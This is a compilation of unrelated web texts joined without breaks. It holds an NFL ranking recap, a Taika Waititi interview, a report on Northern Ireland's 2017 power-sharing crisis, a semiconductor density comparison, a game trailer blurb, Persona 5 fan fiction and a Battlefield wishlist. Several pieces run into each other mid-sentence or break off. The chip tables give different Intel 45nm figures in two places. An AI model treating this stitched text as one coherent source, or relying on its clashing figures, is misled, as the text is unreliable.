Safety: Harrison Smith, Minnesota Vikings, 87.0 – Harrison Smith is the best player on the dominant Vikings’ defense right now. He recorded five tackles this week against the Panthers, each one a defensive stop. He also notched a sack and allowed just one catch for 2 yards when in primary coverage.
Lastly, on the special teams side of the ball, PFF ranked Marcus Sherels as the league’s top return man. Here is what they had to say about Sherels.
Return specialist: Marcus Sherels, Minnesota Vikings – Seattle’s Tyler Lockett deserves a mention for the 62-yard punt return he had this week, but Sherels gets the spot for getting into the end zone and sparking the Vikings’ victory against the Panthers.
Week after week, the Minnesota Vikings have received high praise from media outlets and NFL analysts from all over. If they can continue to have breakout players in each phase of the game, they should be able to compete with any team in the NFL.The Hunt for the Wilderpeople director on joining the Marvel universe, hating biopics and his early script for Moana
Taika Waititi on shaking up Thor and being a Hollywood outsider: 'They take this stuff so seriously'
Taika Waititi on shaking up Thor and being a Hollywood outsider: 'They take this stuff so seriously'
When asked what fans can expect from the latest instalment of Thor, director Taika Waititi somewhat unhelpfully says it will be “Taika-esque”.
Asked if he could perhaps describe it in literally any other way, he laughs. “I can’t! There’s no way!”
As far as whetting the appetites of Marvel fanatics goes, it’s a little counterproductive. Thor: Ragnarok will be watched by many more people who are familiar with the franchise than those who know Waititi’s work – but this may be the film that makes the New Zealand director a household name.
The big-budget Thor is a far cry from the Flight of the Conchords, of which Waititi wrote and directed a few episodes, and from What We Do In The Shadows, the 2014 vampire mockumentary he made with Jemaine Clement. And it’s almost the antithesis of Hunt for the Wilderpeople: the family friendly little-Kiwi-film-that-could, which was a surprise hit at box offices around the world last year.
But while the types of projects may differ wildly, his treatment of them – the bit that makes them “Taika-esque” – doesn’t. Even Waititi’s government-funded anti-drug-driving campaign, Tinnyvision – made in collaboration with Snapchat in 2014 – has the same warm, sly humour of his features.
And yet, after 41 years’ experience of being “Taika-esque” himself, he still struggles to describe it.
Thor: Ragnarok to ignore rest of Marvel universe, says director Read more
“If someone asked, ‘What are your films like?’, the best I can come up with is that they’re, like, a fine balance between comedy and drama. And they deal mainly with the clumsiness of humanity.”
Well, that’s definitely true of Tinnyvision.
As evidenced by his decision to set Ragnarok outside the Marvel universe – a ballsy move, given the size of the fandom and budget in question – Waititi is one to do things his own way. And it’s paying off.
Hunt for the Wilderpeople reportedly made as much as US$23m worldwide (with takings of more than $8m in its home country) and spent some eight weeks in the top 10 at the Australian box office. It placed among the top 100 films of all time on Rotten Tomatoes, where it is 97% “certified fresh” from 171 reviews, and was the New York Times and LA Times’ critics’ pick, as well as Empire magazine’s film of the year.
“I knew it would play well with audiences, I just didn’t know if anybody would have any idea how to market it or sell it or get people in cinemas to see it... It’s not like [New Zealand is] known for churning out really big blockbusters every year.”
At home, Waititi has gone from hit to bigger hit. His first feature film, the oddball romantic comedy Eagle vs Shark, was nominated for the grand jury prize at the Sundance film festival in 2007 – as was his second, Boy, in 2010.
He may not be quite as big a celebrity as his long-time collaborator Clement, with whom he won New Zealand’s top comedy award as the Humourbeasts in 1999, but he’s close. And when Hunt for the Wilderpeople became the highest-grossing local film at the New Zealand box office in May last year, it broke Boy’s record. (At the time, Waititi called it “the happiest and saddest day of my career”.)
Facebook Twitter Pinterest ‘A fine balance between comedy and drama’: Taika Waititi. Photograph: Jeff Vespa/WireImage
In late February, Waititi was named the New Zealander of the year. I ask where the honour ranks in among nominations at the Academy Awards and Sundance and wins at festivals in Berlin, Edinburgh, Hawaii, Melbourne, Taipei, Toronto and Warsaw.
“It’s up there,” he answers. “There are a lot of nominations for things I never won and this is something I actually did win – it feels like I’ve followed through on this one.”
Waititi’s Academy Award nomination came in 2005 – before any of his feature films – for his 11-minute short Two Cars, One Night. He infamously pretended to be asleep during the ceremony.
That outsider’s mentality has persisted, despite the successes of the interim 12 years. The best picture fiasco of this year’s Academy Awards was “great”, he says. “I loved it. I thought it was hilarious... They take this stuff so seriously, don’t they? It’s almost like launching a rocket into space.”
Sam Neill: New Zealand cinema is 'like nothing else on the planet' Read more
Keeping a home far away from Hollywood has been grounding for Waititi; it’s hard to get caught up in all the glitz and self-importance from New Zealand, where he and his family are based. He has two daughters, aged four and one, and a stepson with his wife, the producer Chelsea Winstanley.
But another way to look at his geographical distance is as a buffer, or a safety net. You can always go home again – and why wouldn’t you, when you’re already a massive success there?
“Having had pretty much four successful films at home, I know there’s an audience for my work,” he says. “A lot of people are trying to get out of their home country and think ‘making it’ is if you’re able to work in another. For me... I’d be quite content to keep doing my own little films down there for the rest of my filmmaking career.”
The New Zealand Film Commission will be glad to hear that, I say.
“That’s why I said it,” he replies.
That may all change, with Thor: Ragnarok set to be by far the biggest commercial success of his career to date. (Thor: The Dark World made $644m worldwide in November 2013.)
With Cate Blanchett, Jeff Goldblum and Wilderpeople star Sam Neill joining Chris Hemsworth and Mark Ruffalo, anticipation is high for the third instalment of the franchise – not least because Waititi, with his background in indie comedies, was such an unusual pick.
The day we speak, the first stills from the film have been released, with Blanchett, Hemsworth and Tessa Thompson in character on the cover of Entertainment Weekly.
Social media is delighted with Goldblum’s turquoise eyeliner (“If the new Thor film is nothing but Goldblum sitting silently looking
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arrangements between State and the Clinton Foundation? (Maybe selling out to Qatar’s oil barons has given him more moral flexibility.)
This isn’t a matter of “getting the band back together.” It’s an act of desperation.Northern Ireland's former First Minister Arlene Foster has said she is open to talks with Sinn Féin to avert a meltdown of power-sharing institutions.
The Democratic Unionist leader also announced plans for a public inquiry into the botched green energy scheme that prompted the resignation of Deputy First Minister Martin McGuinness yesterday.
She insisted the inquiry could go ahead without the sign-off of the DUP's partners in government, Sinn Féin.
"It's needed to restore confidence in the institutions and also for me personally, to retain my integrity, which has been completely maligned over this past number of weeks and months."
"We are willing to take part with any discussion to see if a way forward can be found," she said at a news conference.
"I remain open to further discussions with Sinn Féin or any of the other parties in the Assembly over the next few days."
The departure of Sinn Féin veteran Mr McGuinness amid a row over the Renewable Heat Incentive (RHI) forced Ms Foster from her job as First Minister as well.
Theoretically the parties have seven days to resolve their differences before Northern Ireland Secretary James Brokenshire has to call a snap poll.
However, Mr McGuinness has made clear there will be no going back to the status quo and his party is preparing to face the electorate.
Ms Foster said a DUP minister would announce plans for a public inquiry into the RHI affair later this week.
The furore has left Stormont facing a £490m overspend.
She said it was important for Stormont's reputation and her own.
"It's needed to restore confidence in the institutions and also for me personally, to retain my integrity, which has been completely maligned over this past number of weeks and months," she said.
Earlier, the Secretary of State for Northern Ireland told MPs that the situation in Northern Ireland is "grave" and that early elections look likely.
Mr Brokenshire this afternoon updated the House of Commons following Mr McGuinness's resignation.
He said that "while the Renewable Heating Incentive might have been the catalyst, it has however exposed deeper tensions between the parties".
He said an impartial inquiry into the RHI scheme needs to be established as quickly as possible.
Mr Brokenshire urged both sides to try to find a way forward, and said both the British and Irish governments will offer their support.
However, the Secretary of State said "the clock is ticking" and if there is no resolution he will have to call an election.
Northern Ireland is now in its longest period of stability and that should not be lightly thrown away, he said.
He will do all he can to establish a way forward, to ensure a bright and prosperous Northern Ireland, he added.
Taoiseach and British Prime Minister discuss crisis
Meanwhile, Taoiseach Enda Kenny and British Prime Minister Theresa May spoke on the phone for around15 minutes this evening to discuss the latest developments in Northern Ireland.
They agreed that the situation is very serious and that the two Governments would work closely over the coming period.
In particular, Minister for Foreign Affairs Charlie Flanagan and Mr Brokenshire will work over the next few days to see if a way forward can be found before an election has to be triggered.
Mr Kenny and Ms May agreed to maintain close contact ahead of Ms May's planned visit to Dublin at the end of January.
No way to avoid election - Adams
Mr McGuinness's decision to walk away after ten years sharing power with the DUP came as Ms Foster refused to stand aside to facilitate an inquiry into the ill-fated RHI - the so-called "cash for ash" - scheme.
".....you can be sure that him coming to this decision, with our full support, was done reluctantly. It was the last thing that Martin wanted to do."
Sinn Féin President Gerry Adams this afternoon said that he does not think there is any way to avoid holding an election in Northern Ireland.
Mr Adams said that Ms Foster's refusal to step aside left Mr McGuinness in an untenable position, adding that he would not have made the decision to resign lightly and that he would decide over the next number of weeks if he would lead the party into the expected election.
Speaking on RTÉ's News at One, he said: "The position was absolutely untenable. He's invested ten years. He worked with Ian Paisley when people said that wasn't possible. He worked with Peter Robinson. He's a tireless worker. He's reached out and discommoded Republicans at time with his outreach.
"So you can be sure that him coming to this decision, with our full support, was done reluctantly. It was the last thing that Martin wanted to do."
Mr Adams said the only way to get the power-sharing executive back in place was if there was a commitment to the principles on which the Good Friday Agreement was embedded.
He said people would vote against corruption and for the key elements of the agreement, which were fairness and equality.
Mr Adams said Mr McGuinness and Mr Paisley managed to make power sharing work but that Ms Foster had failed because she did not acknowledge all the people of the North.
Alliance MLA David Ford has said that an election was not necessary, but is now inevitable.
He told RTÉ's Drivetime that the announcement of an inquiry today into the botched green energy scheme is a month too late.
He said the power sharing executive between the DUP and Sinn Féin reached a point where there was no trust and no willingness to seek to find a way through the problems.
He said Northern Ireland's former First Minister, Arlene Foster has chosen to show that she bore no responsibility for the scheme and this attitude, he said, was where the issue of the RHI became a problem for relationships between the two parties.
'Utter abdication of responsibility', says Dodd
DUP deputy leader Nigel Dodds has said that it is with deep regret that Northern Ireland is facing fresh elections, adding that it is not in his party's making, and describing it as an "utter abdication of responsibility".
Nigel Dodds, DUP deputy leader says the party is 'deeply, deeply saddened' that Northern Ireland has been plunged into a 'political crisis' pic.twitter.com/9S3VtNG6Su — RTÉ News (@rtenews) January 10, 2017
He told RTÉ's Six One that Sinn Féin has decided to "toss the toys out of the pram" as far as power-sharing in Northern Ireland is concerned.
The DUP MP said that his party is deeply saddened that Sinn Féin has plunged Northern Ireland into a political crisis and into a needless election.
He said Sinn Féin has decided to tear down the institutions and accused the party of now "doing the wrecking" in Northern Ireland and said it is not about the RHI scheme.
"There are obviously issues that they have to address internally... It will be very, very difficult after a bruising election to come back and put everything together again."
While politicians are set to face the electorate, a poll is unlikely to resolve the crisis if the RHI issue is not dealt with before an executive is re-formed.
The state-funded RHI was supposed to offer a proportion of the cost businesses had to pay to run eco-friendly boilers, but the subsidy tariffs were set too high and, without a cap, it ended up paying out significantly more than the price of fuel.
This enabled applicants to "burn to earn" - getting free heat and making a profit as they did so.
Claims of widespread abuse include a farmer allegedly set to pocket around £1m in the next two decades for heating an empty shed.
While the DUP and Sinn Féin were in agreement on the terms of a potential investigation into RHI, the sticking point was the position of Ms Foster when the probe got under way.
Steps by the Executive to cut the costs of the overspend will not be implemented in the short term.
Mr McGuinness cited other disputes with the DUP, including over the Irish language and stalled mechanisms to deal with the legacy of the Troubles, in explaining his move.
The DUP claimed RHI was not the motivation behind Sinn Féin's strategy, insisting they were exploiting the crisis to pursue a broader republican agenda.Who Will Lead at 10nm?
Intel is the worlds largest semiconductor and far and away the largest IDM logic producer today.
TSMC is the worlds largest foundry
Global Foundries is the worlds second largest foundry. We have combined them with Samsung because they are both members of the common platform alliance and closely aligned in process technology. In fact Global Foundries has licensed Samsungs 14nm FinFET process technology.
Intel
130nm 90nm 65nm 45nm 32nm 22nm 14nm 10nm GP 319 260 220 180 112.5 90 70 55 GP shrink 0.82 0.85 0.82 0.63 0.80 0.78 0.78 M1P 350 220 210 160 112.5 90 52 38 M1P shrink 0.63 0.95 0.76 0.70 0.80 0.58 0.74 GP x M1P 111,650 57,200 46,200 28,800 12,656 8,100 3,640 2,101
TSMC
130nm 90nm 65nm 40nm 28nm 20nm 16nm 10nm GP 310 240 160 162 122 87 90 70 GP shrink 0.77 0.67 1.01 0.75 0.71 1.03 0.78 M1P 340 240 180 128 95 67 64 46 M1P shrink 0.71 0.75 0.71 0.74 0.70 1.00 0.72 GP x M1P 105,400 57,600 28,800 20,736 11,590 5,829 5,760 3,220
We have updated this article with actual measured 28nm and 20nm pitch numbers from Chipworks
Global Foundries/Samsung (GF/S)
130nm 90nm 65nm 40nm 28nm 20nm 14nm 10nm GP 350 245 200 129 90 64 78 64 GP shrink 0.70 0.82 0.65 0.70 0.71 1.22 0.82 M1P 350 245 180 117 96 64 64 48 M1P shrink 0.70 0.73 0.65 0.82 0.67 1.00 0.75 GP x M1P 122,500 60,025 36,000 15,093 8,640 4,090 4,992 3,072
Density Comparisons
130nm 90nm 65nm 45/40nm 32/28nm 22/20nm 16/14nm 10nm Intel 111,650 57,200 46,200 38,800 12,656 8,100 3,640 2,101 TSMC 105,400 57,600 28,800 20,736 11,590 5,829 5,760 3,220 GF/S 122,500 60,025 36,000 15,093 8,640 4,090 4,992 3,072
This table has been updated since the original post based on measured TSMC 28nm and 20nm pitches from Chipworks.
There has been a lot of discussion on SemiWiki lately around 14nm FinFET technology and who really leads and by how much. I thought it would be interesting to review some process metrics for previous technology generation and then make some forecasts around 10nm.The focus of this article will be Intel, TSMC and Global Foundries/Samsung as the logic volume leaders:The characterization of process density has shifted over the years and nodes have become less reflective of actual feature sizes and density. A more recent metric that Intel has been using is Gate Pitch (GP) multiplied by Metal 1 Pitch (M1P). This same metric has also shown up in a recent paper by the common platform partners disclosing their 10nm process work. GP x M1P will be the metric used for comparison in this paper.The following table presents Intels GP, GP shrink ratio, M1P, M1P shrink ration and GP x M1P starting at 130nm and projecting out to 10nm.All of the pitches down through 14nm are based on Intel public disclosures at IEDM and the IDF. The 10nm forecast is based on applying the average shrink ratio from the previous seven process generations.The following table presents TSMCs GP, GP shrink ratio, M1P, M1P shrink ration and GP x M1P starting at 130nm and projecting out to 10nm.In the case of TSMC they follow the Foundry node progress whereas Intel follows more of an IDM node transition 40nm versus 45nm, 28nnm versus 32nm and 20nm versus 22nm. At the 14nm node TSMC has also chosen to call their node 16nm where everyone else is calling it 14nm.. At 16nm the pitches are based on TSMCs 2013 IEDM paper. TSMCs 16nm is reported to have the same metal pitches as their 20nm so we have used the same pitch for 20nm M1. The 16nm gate pitch is larger than our projected gate pitch for 20nm, this is due to the planar to FinFET transition. The 10nm pitches are based on the average TSMC shrink ratios through 20nm. We have excluded 16nm due to the metal pitch pause and planar to FinFET transition.The following table presents GF/Ss GP, GP shrink ratio, M1P, M1P shrink ration and GP x M1P starting at 130nm and projecting out to 10nm.We do not have actual pitch numbers for GF/S 20nm technology and we have interpolated them based on available data. At 14nm and 10nm the pitches are based on published values including the 2014 VLSIT 10nm paper from IBM, Samsung, St Micro and Global Foundries.Having reviewed the three companies/groups we can now compare the GP x M1P metric over the range of nodes studied.In the table above I have marked in bold the densest process at each node. It is interesting to see that it has moved around from node to node. Based on what has been disclosed to date and reasonable projections it looks like Intel will have the densest process at 16/14nm and 10nm using the GP x M1P metric. Whether this translates into a denser process for actual designs is a different question but GP x M1P is in our opinion a good measure of pure process density.The same data is also plotted below as the now infamous Intel density comparison:Rainbow Six Siege Trailer - Operation Velvet Shell DLC
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1:55 - 934,460 views
In Operation Velvet Shell, two G.E.O. Operators join Team Rainbow to protect civilians vacationing on the "Coastline," our new free map set in Ibiza, Spain.
Operation Velvet Shell will be the first new DLC Update for Year 2, available on February 7, 2017.
Buy the Season Pass to gain early access to the two new operators, Jackal & Mira: https://rainbow6.ubi.com/siege/en-us/news/detail.aspx?c=tcm:152-277375-16&ct=tcm:148-76770-32
Full Patch Notes at: http://rainbow6.ubi.com/siege/en-us/updates/velvetshell/ by Ubisoft North America 1:55 - 934,460 viewsIn Operation Velvet Shell, two G.E.O. Operators join Team Rainbow to protect civilians vacationing on the "Coastline," our new free map set in Ibiza, Spain.Operation Velvet Shell will be the first new DLC Update for Year 2, available on February 7, 2017.Buy the Season Pass to gain early access to the two new operators, Jackal & Mira: https://rainbow6.ubi.com/siege/en-us/news/detail.aspx?c=tcm:152-277375-16&ct=tcm:148-76770-32Full Patch Notes at: http://rainbow6.ubi.com/siege/en-us/updates/velvetshell/
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by 0: - 0 viewsShe'd seen much weirder things to be certain.
The true meaning of survival of the fittest is he/she who can get through high school without offing themselves. I'm convinced.
What even is the point of first year biology? Almost none of this falls within the realm of actual science. I would know.
Your school doesn't seem to do too well on that front then. No offense.
Ur doin better than I did already Futaba. I didn't even know what subject I was in half the time.
Should you not all be paying attention? :) You wouldn't want me to tell Mako-chan, would you? :) :) :)
Suffice to say, Futaba was bored. Starting high school had seemed like a tremendous first step towards getting herself to be normal again. Sure, she'd be a grade behind, but at least she had a path to start moving down. It was almost laughable that she was managing to sit in a classroom full of students, after taking a crowded train to get here, and wasn't freaking out at all. A year ago, leaving her room was an impossibility. Now, she felt the smallest tinges of panic when people pressed on her too hard on the train, got a bit sweaty when strangers talked to her for too long, but neither feeling was enough to derail her day. She felt like a real life person most of the time now and it was all because of...
As long as you're getting good test scores, it doesn't really matter if you pay attention in class.
Gasp! I'll make sure I put my best armor on then. Thanks for the intel. Btw, aren't you supposed to be slaving over a midterm paper?
She couldn't help but grin to herself. One of her biggest worries starting this year had been that despite the massive amounts of support she knew she could get from the other members of the now disbanded Phantom Thieves, Akira Kurusu had moved back to Kyoto to finish out high school in his hometown. She would always credit her revival from the corpse of her previous self as a victory for the entire group, but it was truly Akira who had stayed with her every step of the way. His warm presence by her side made pushing herself out of her comfort zone not only less scary, but infinitely more rewarding. They'd spent countless hours cultivating their bond both between one another and with Sojiro. Sojiro, Akira and Morgana were her family. And the Phantom Thieves were the perfect extension to that family. She would have been more than content to stay in that perfect bubble of happiness forever.
Alas, after saving the world multiple times and nearly dying for the sake of doing so, Akira had finally been granted the freedom he so deserved and was finally free to resume the life that had been stolen from him by Shido. Futaba had been gutted to know Akira would be leaving, but no matter how much she wanted him to herself, she knew he deserved the chance to try to put his "normal" back together, the same way she was trying to fix her "normal".
Still, it sucked pretty bad to have to start one of the potentially scariest steps in her life without her combo best friend and boyfriend there to cheer her on.
As soon as concrete plans had been made with regards to Akira returning to Kyoto, Akira had insisted that if they intended to keep dating, they had to tell Sojiro. Futaba had suspected that perhaps her loving boyfriend had developed a death wish, but agreed anyway. She had envisioned having this conversation with her adoptive father many times, and each had ended in some sort of disaster.
Thus, she had been thoroughly shocked when Sojiro's reaction was to sigh and grumble "I don't like the idea of Futaba dating in general, but if it has to be anyone, I guess I couldn't have picked someone better." They had hashed out rules concerning their alone time and curfews while Akira was still in town, but Sojiro made it very clear that Akira was still a treasured part of their family and was still welcome at LeBlanc if he was ever in town. Needless to say, there was hardly a dry eye in the room.
So they had kept dating. The concern that they'd drift apart was a valid one, but luckily both of them were good about keeping up with Skype dates and keeping in contact via text and phone calls. High school had been going better than expected, the old Phantom Thieves group was still super close, having dinner at LeBlanc every Sunday, and her relationship with Akira still felt just as fun and relaxing as ever. All in all, Futaba really couldn't complain about her current life situation.
It hadn't seemed like such a big deal at first. She wasn't even really sure there was an issue in the beginning. But the more they talked, the more she started to realize that Akira did not want to talk about himself, at all. She could go on and on for days about every little detail of her own life, down to even absolutely insignificant things like that one time Sojiro bought almond milk, and Akira would always stay attentive. But anytime she directed these questions back at him, asking about his school or town or even what he did with his free time anymore, she was met with vague answers and then a swift redirection of conversation back to herself.
Fueled by the intrinsic desire to be connected to Akira's life in a more reciprocal fashion, Futaba began her newest mission: decode the life of Akira.
That's weird. You did so much stuff here like every single day. You'd better not be holding back on having fun just so we could talk!!
Futaba sighed. This was going to be slightly harder than she had originally anticipated. That was fine though. She'd grab some intel from the friend group and then prepare her counterattack.
Ryuji paused in his desperate destruction of what might have been a sandwich at one point, chewed thoughtfully, then spat "rrvydy, hy?"
Ann scrunched up her nose in distaste, scooting away from the boy in mock offense. "Eww. Stop. Please be like a normal human being for like ten seconds?"
Ryuji gulped loudly, smacking his lips, "Whatever floats your boat, Ms. Princess." He received a warning glare. "Fine, fine. Anyway, yeah, we talk on and off basically every day, why?"
Futaba fidgeted a bit, playing with the leftover rice from the curry Sojiro sent with her to school for lunch today. "I don't know. Anything seem off about him to you?"
Futaba shook her head a bit, "it may be nothing, but it feels like he's avoiding talking to me about his own life right now? And I was wondering if you guys noticed it too."
"Oh man, I think I know what you mean!" Ryuji exclaimed, gesticulating wildly with filthy hands. "Once, I asked him if Kyoto had any good arcades. And he sent me a Google search instead of telling me about it himself. Like, what?"
Ann nodded, "I've never noticed it myself, but it doesn't seem completely out of his character. I mean, he never really wanted to talk about himself, even when he was here."
Futaba considered this for a moment. "He definitely would talk about himself to me, maybe not...full life story all the time, but he would tell me who he had been hanging out with and what he'd been up to. Now I can't even get that out of him. I'm wondering if something isn't wrong..."
Ryuji scoffed, "Naw man, ya know, I bet he's just trying to not make us miss him too much. I know I'd feel like shit if he was constantly going on and on about how much better his home is than here."
"Why?" Futaba asked, a bit upset by Ryuji's response, though glad he'd be that honest. "He has to stay there for a year. Don't you want him to enjoy that year? If he wants his life to go back to normal, I want him to succeed in that quest, ya know? I mean, he's done so much for us. Doesn't he at least deserve that...?"
Futaba blushed. While both Sojiro and Morgana knew of her and Akira's relationship, they had not told the rest of the group as of yet. She often wished she could, but they had agreed that they wanted to see how things went before getting the group all excited about this. After all, it would seriously suck if they told everyone then broke up...
A comforting hand settled on her shoulder. "I agree, Futaba," Ann smiled, "Knowing Akira he probably wouldn't wanna risk burdening us too much whether it be with good or bad information. And honestly, it could just be that he has nothing to say. After all, life now compared to life 6 months ago is really boring."
Futaba nodded, sulking. She didn't care if he was having the best time ever in Kyoto or had nothing to talk about except the A tier naps he and Morgana had been taking. She just wanted to be able to share whatever their mutual lives were like equally since they couldn't be together living the same life anymore.
Ann sighed, then offered, "let's shoot a private message to Makoto. She was talking about bothering him about his college plans awhile back. Maybe she'll have an opinion for you."
Futaba glanced up at Ann, and smiled, thankful for such understanding friends. "That sounds awesome, thanks."
With that, the first warning bell signaled that lunch was basically over. Hopefully, Makoto would answer before she Skyped Akira tonight.
She had luckily managed to snag a seat on the train ride home and was settling in to read a book when her phone chimed. It was Makoto. Futaba praised the God that blessed their friend group with such a capable and efficient Mom Friend.
Hey, Futaba. In reference to what Ann asked me about, I have noticed that Akira is acting a bit strange.
I did end up talking to him about college entrance exams and apparently he isn't currently planning to take any.
He wouldn't give me a complete answer but what I pieces together is that the issue is a combination of not being
in the right college prep classes at school, the school staff not taking his desire to go to college seriously,
and his father not believing he could pass the exams and thus not wanting to pay for them.
Now, keep in mind, he told me very little of this flat out, but from our conversation this was what I could draw
Futaba's jaw fell open a bit. So, Akira was having troubles and not speaking to her about them. Again. Damnit. She shot a message back to Makoto quickly, needing to process this information before her conversation with Akira.
Thank you so much for the info Makoto. God, he hasn't told me any of this. Not even a little bit of it. It's just like the prison thing...why does he do this?
Luckily, it seemed Makoto was still attached to her phone for the moment.
It's likely a complex answer. I'm sure he thinks sharing this sort of information with us would bother us because we would try to fix it.
Sadly, he's right. We will try to fix it. And he should probably just get used to that fact and let it happen.
That made her laugh. Their little group was quite infamous for being overly close and overly protective. Just because Akira was used to doing the protecting didn't mean he was exempt from the protection.
I want to talk to him about this. See if there's anything we can do to help. But I don't want him to deflect me. Any ideas, Ms Prosecutor-Lite?
Let's not call me that. In general, direct questions are more likely to get useable information. If he can purposefully side step a meaning of a question, he seems to do so.
She figured as much. Formulating the right questions might be hard though. She didn't want him to think the decision not to go to college was what she was upset with, so lingering on that topic might not help. Truthfully, she just wanted to know if he was happy and if not, why.
But being frank, Futaba, I don't think you're going to get straight answers with a screen in between you.
Skype may be slightly more effective but Akira is a face to face kind of person.
We may not be able to address this until break. And that's perhaps a long shot if he doesn't plan to come to Tokyo for break.
The thought stuck in her head for a moment. Face to face. Midterms were this upcoming week. After Thursday, she wouldn't have class again until Tuesday. Hmmm...now if only...
No, but shouldn't Boss? He did have mailed correspondence with Akira's family a bit over the last year.
Thanks Makoto. You're the absolute best. I'll tell you what I'm thinking of doing tomorrow.
The train announced that her stop was next and she hopped up, energized and ready to move the plan forward.
She surveyed her desk space to ensure she had everything she needed. Drink? Check. Bag of chips just in case? Check. Blanket draped over her desk chair? Check. Computer open to Skype? Check. List of questions conveniently out of sight? Check.
She was a bit hesitant to write up the list of questions. Futaba knew there was no way in hell she could link all those questions together coherently without sounding scripted. That was Makoto's thing. But still, Akira was by far the superior conversationalist. She needed some sort of backup if this went south.
She tried to remind herself that this wasn't about only getting answers. Their Skype dates were sacred. It was the closest they got to each other on a regular basis. She needed to find a natural work in for that line of conversation or needed to drop it all together. And besides, she consoled herself, plan B could still work out without this conversation being... productive. No pressure.
The sound of Skype's ring tone started up then, and she jumped a bit. She ran her fingers through her hair, pausing to take one huge breath before hitting "answer".
Her screen slowly resolved into what was becoming a pretty familiar backdrop. The walls were painted a medium shade of blue. All along the back wall, were countless posters. Rock bands, video games, movies, you name it. She fondly remembered their first Skype date, where he explained where he got every single one of those posters. That was the most he had spoken to her about his past since he told her how he got arrested...
The bed was messy, plaid blue comforter thrown across the bed in a half assed attempt at making the bed. She knew for a fact the thin black sheets underneath were bundled up the same as when he first woke up. The only thing in the room messier than the bed was the mop of hair in her line of sight.
"You, my friend, need a haircut," Futaba giggled, earning herself an overly dramatic eye roll and a huff in response. She actually was a fan of the extremely puffy hair, but knew it was getting long enough that his bangs would be hanging in his eyes, which annoyed him greatly.
The lights in his room were off, the only light source being the blueish light from his laptop screen. Futaba didn't try to keep it a secret how much she liked the way his face looked illuminated so minimally like this. The angle of the light showed off features she hadn't paid attention to when they were physically together. Now, she couldn't stop staring at the well defined jawline, sharp cut of his nose, the way his bottom lip was a bit fuller than his top. Maybe there was some truth to the phrase "distance makes the heart grow fonder".
Akira met her eyes, the ghost of a smile on his face. "I guess I'm kind of tired. Haven't been sleeping well lately."
This was good. Getting right into it. "Aww. How come?"
He paused, staring at something to the left of his screen. For a moment it looked like he was gearing up to say something, but then he simply shook his head. "I don't know. Happens sometimes."
The bags under his eyes told her that it wasn't as simple as a couple bad nights. Still, she knew he probably wouldn't give her an answer on this particular vein of thought just yet, so she moved on. "Speaking of sleep, where is the sleepiest cat in the history of history?"
That got Akira to smile. "My dad got him some catnip at the store the other day. Before I opened it, he swore over and over it wouldn't work on him because he is a human."
Futaba giggled, "let me guess: he went crazier than when he saw particularly nice looking treasures in the metaverse?"
The smile broadened into a smirk. "Babbled nonsense and ran around the house after 'ghosts' all night. It was a true sight to behold. That said: he denies the whole thing now."
They chatted back and forth for about half an hour about various things, mostly superficial. Still, it served its purpose as a recharge from all the social exhaustion of the week. She was content. But, she did want to ask him one thing.
"You've been in Kyoto for awhile now. And I guess I just wanted to know..." She paused, looking him straight in the eye, "are you happy?"
Lightning quick, his smile dropped away. For a bit, Akira's eyes darted between the screen, his hands, and the space just to the left side of his computer screen. This sort of frantic defense mechanism was new to Futaba. To her memory, she had never seen Akira cornered before. It only proved that this was a question she needed to have answered...but, an equal need to soothe him also sprung up.
It was a long pause before Akira finally plopped his head down onto his crossed arms and sighed. When he next revealed his face, it was with a soft, "I guess not."
Futaba's heart broke at the despair in his tone. Her voice was just as soft, "Is being back home not what you thought it would be?"
Akira shook his head. He didn't meet her eyes. "No, it's exactly how I thought it would be." He buried his face in his arms, fingers tapping out a rhythm on the desk. His next words were muffled so he couldn't make them out super well, but Futaba was absolutely positive she heard him mutter "It's me that's different now."
That was all she really needed to hear. "We don't have to talk about it anymore if you don't want to."
He removed his head from it's hiding spot and attempted a smile. "Thanks." The sound of a door opening in the background echoed through his room. He sighed and sat up. "I have to go."
Futaba's heart sank. She hated herself for saving this for last. Leaving conversations on a bad note was the absolute worst and yet...Well, she'd just have to make up for it.
Akira nodded, "Love you too." She smiled and reached for her mouse to cut the call, when he started, "Futaba?" She made a noise acknowledging him. "I miss you."
God, this kid really knew how to play her heart like a guitar. She smiled widely at him. "I miss you too, Akira. Good night!"
The call ended, leaving her alone in her room with her thoughts. Akira had always been there for her when she was going through something awful. Even forced his way into helping her even when she said she didn't want his help. There was no way she was letting this go. She nodded to herself and started writing a message to Makoto.
LeBlanc was deserted when Futaba got home from school that Friday. Sojiro was busy cooking, humming contently along with the radio. Considering what Futaba's goal was this evening, it was probably for the best that he was in a good mood to start.
"Hey Sojiro! I'm home. Need any help?"
Her father turned and raised an eyebrow, giving her a once over glance before nodding and beckoning her forth to help with dinner. Futaba winced to herself, realizing her huge tactical error. She never offers to help with dinner. Alas, the hint that she wanted something from him is perhaps better than springing it on him with no prior suspicion at all. She hurried to put on an apron and slice up the apples he placed before her.
They worked in companionable silence. And once the curry was done to perfection, they both sat down at a booth to enjoy their meal. The air was thick, pregnant with the anticipation of important conversation. Futaba hated this sort of unease, as it was exactly what she feared would occur. And she hadn't even said anything yet.
"So. You want to ask me something, Futaba?"
No surprises there. Futaba nodded, "Um. Yes. I. I do." God, this was harder than she thought. The words were there, right in her head, so why couldn't she get them out? It's just Sojiro! But that was the issue. It was Sojiro, the only father figure she'd ever really had. She could handle a lot of people rejecting her, but Sojiro was not among them.
He seemed to sense her rising panic, smiled at her gently, "Whatever it is, it's nothing to worry too hard over. If you're willing to talk, I'm willing to listen."
"Yeah I know." She took a deep breath, summoned her inner strength (whatever there was of it) and began, "I was talking with Ak
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then denied after the fact. Mods like Project Reality and Forgotten Hope 2 brought all sorts of variations on classic Battlefield 2 gameplay to keep the game alive despite a six year span between sequels, and could only be a boon to the Battlefield community if added to its newest sequel.
Improve the In-game Server Browser
Considered a staple of most any multiplayer shooter on the market, DICE’s decision to pull server browsing out of the game client and into a web browser was a confusing one. While Battlelog’s stat tracking satisfies the number nerd in everyone, the site is still clunky enough for community members to write Chrome extensions to streamline the experience. Why Battlefield needs both Origin and Battlelog on at the same time is beyond my comprehension and while the argument that previous Battlefield’s server browsers were badly implemented is completely valid, it stands to reason that simply improving the in-game browser would have done away with Battlelog’s hand in joining servers entirely. Battlelog implementation will likely persist with Battlefield 4, but alternatives to using it outside of the game proper would be a most enjoyable one.
Add More Destruction
Battlefield: Bad Company 2 featured an extensive deformation system unrivaled by both its predecessors and Battlefield 3. Upon hearing the cacophonous volley of explosives being thrown at them, players hiding in buildings for cover would most likely hear the monstrous groan of supports crushing under their own weight before being buried in rubble. Destruction on this scale is only glimpsed at in Battlefield 3 and its DLC, and its inclusion would add a little more to urban city maps and beyond.
